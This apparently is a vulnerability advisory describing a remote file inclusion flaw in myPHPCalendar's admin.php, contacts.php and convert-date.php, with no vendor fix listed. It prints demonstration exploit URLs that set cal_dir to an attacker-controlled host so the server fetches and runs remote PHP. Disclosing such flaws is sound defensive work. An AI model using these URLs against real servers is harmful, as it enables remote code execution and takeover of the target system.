Description: An include file vulnerability was reported in myPHPCalendar. A remote user can execute arbitrary PHP code, including operating system commands, on the target system.
Frog-m@n reported that the 'admin.php', 'contacts.php', and 'convert-date.php' files include some files relative to the $cal_dir
directory. A remote user can specify a remote location for the $cal_dir directory to cause files at the remote location to be included
and executed by the target server.
Some demonstration exploit URLs are provided:
http://[target]/admin.php?cal_dir=http://[attacker]/
http://[target]/contacts.php?
cal_dir=http://[attacker]/
http://[target]/convert-date.php?cal_dir=http://[attacker]/
The above URLs will include the either
of the following files:
http://[attacker]/vars.inc
http://[attacker]/prefs.inc
|
Impact: A remote user can cause arbitrary PHP code, including operating system commands, to be executed by the target system. The commands will run with the privileges of the web server.

Solution: No vendor solution was available at the time of this entry.
